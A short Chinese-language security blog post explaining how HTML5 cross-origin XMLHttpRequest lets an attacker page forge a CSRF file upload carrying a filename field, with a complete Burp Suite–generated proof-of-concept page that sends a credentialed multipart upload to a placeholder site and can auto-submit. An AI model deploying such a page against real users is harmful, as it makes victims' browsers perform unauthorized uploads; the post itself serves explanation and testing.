Html5中利用CSRF上传文件

通常用csrf来上传一个文件不是很简单的

问题在于我们创建的假的表单提交的数据跟浏览器文件上传提交的数据有一点不同那就是上传的请求会有一个filename的参数:

  1. -----------------------------256672629917035
  2. Content-Disposition: form-data; name="file"; filename="test2.txt"
  3. Content-Type: text/plain          
  4. test3
  5. -----------------------------256672629917035

如果我们创建一个表单,提交如上的请求是没法成功添加filename参数的,这是因为filename参数是文件上传的input自动生成。这就阻止了邪恶的黑客通过csrf上传文件。

不过自从有了html5,一切都不一样了。

html5有一个新特性叫跨域资源共享(CORS http://www.w3.org/TR/cors/)。在过去由于同源策略的影响没办法通过javascript去访问别的域,考虑到XSS这么泛滥同源策略真的是让我们的生活更安全了不过利用html5的跨域资源共享可以让javascript来发送有filename属性的合法的跨域请求。这样只要用户访问了恶意页面,不需要其他的交互,就可以通过csrf来上传文件了。

下面是一个Burp Suite生成的poc

  1. <html>
  2.   <!-- CSRF PoC - generated by Burp Suite Professional -->
  3.   <body>
  4.     <script>
  5.       function submitRequest()
  6.       {
  7.         var xhr = new XMLHttpRequest();
  8.         xhr.open("POST", "https://example.com/new_file.html", true);
  9.         xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  10.         xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
  11.         xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
  12.         xhr.withCredentials = "true";
  13.         var body = "-----------------------------256672629917035\r\n" +
  14.           "Content-Disposition: form-data; name=\"message\"\r\n" +
  15.           "\r\n" +
  16.           "\r\n" +
  17.           "-----------------------------256672629917035\r\n" +
  18.           "Content-Disposition: form-data; name=\"backPage\"\r\n" +
  19.           "\r\n" +
  20.           "test\r\n" +
  21.           "-----------------------------256672629917035\r\n" +
  22.           "Content-Disposition: form-data; name=\"dataType\"\r\n" +
  23.           "\r\n" +
  24.           "test  \r\n" +
  25.           "-----------------------------256672629917035\r\n" +
  26.           "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n" +
  27.           "Content-Type: text/plain\r\n" +
  28.           "\r\n" +
  29.           "test3\r\n" +
  30.           "-----------------------------256672629917035--\r\n";
  31.         var aBody = new Uint8Array(body.length);
  32.         for (var i = 0; i < aBody.length; i++)
  33.           aBody[i] = body.charCodeAt(i);
  34.         xhr.send(new Blob([aBody]));
  35.       }
  36.     </script>
  37.     <form action="#">
  38.       <input type="submit" value="Submit request" onclick="submitRequest();" />
  39.     </form>
  40.   </body>
  41. </html>

当然,poc里的提交按钮不是必须的,可以通过javascript自动提交。从某种程度上来说浏览器的最重要的同源策略被突破了。